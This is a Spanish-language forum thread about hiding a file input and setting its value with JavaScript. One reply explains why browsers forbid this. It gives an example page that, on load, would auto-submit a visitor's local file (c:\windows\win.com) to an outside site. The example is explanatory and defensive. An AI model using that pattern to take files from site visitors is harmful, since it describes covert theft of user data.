Como puedo hacer para que un campo <input type="file" sea oculto (hidden).
Lo que intento es asignarle el valor al campo por Javascript y que el usuario no vea el campo.
gracias.
| |||
Campo file oculto Como puedo hacer para que un campo <input type="file" sea oculto (hidden). Lo que intento es asignarle el valor al campo por Javascript y que el usuario no vea el campo. gracias. |
| ||||
Eso es imposible. Si piensas un poco te darías cuenta de que eso generaría un problema de seguridad tremendo. Para ocultarlo pon: <input type="file" style="visibility:hidden" name="pepe"> Pero jamás conseguirás asignarle ningún valor por Javascript...
__________________ Cómo escribir No hay pregunta tonta, sino tonto que quiere seguir en la ignorancia. |
| ||||
Imaginate que quieres quitar a alguien un archivo, por ejemplo el win.com. Para eso sólo tendrías que poner <body onload="document.pepe.submit()"> <form name="pepe" action="http://www.mipagina.com/recepcion.html"> <input type="file" value="c:\windows\win.com"> </form> </body> Con esto "robarías" ese archivo a cada visitante de tu página. No haría falta ni que enviara el formulario. Es por ello que los navegadores actuales no admiten definir el value de ningun input file. Ni por html ni por Javascript... ni por ningún medio. Lo entiendes ahora?
__________________ Cómo escribir No hay pregunta tonta, sino tonto que quiere seguir en la ignorancia. |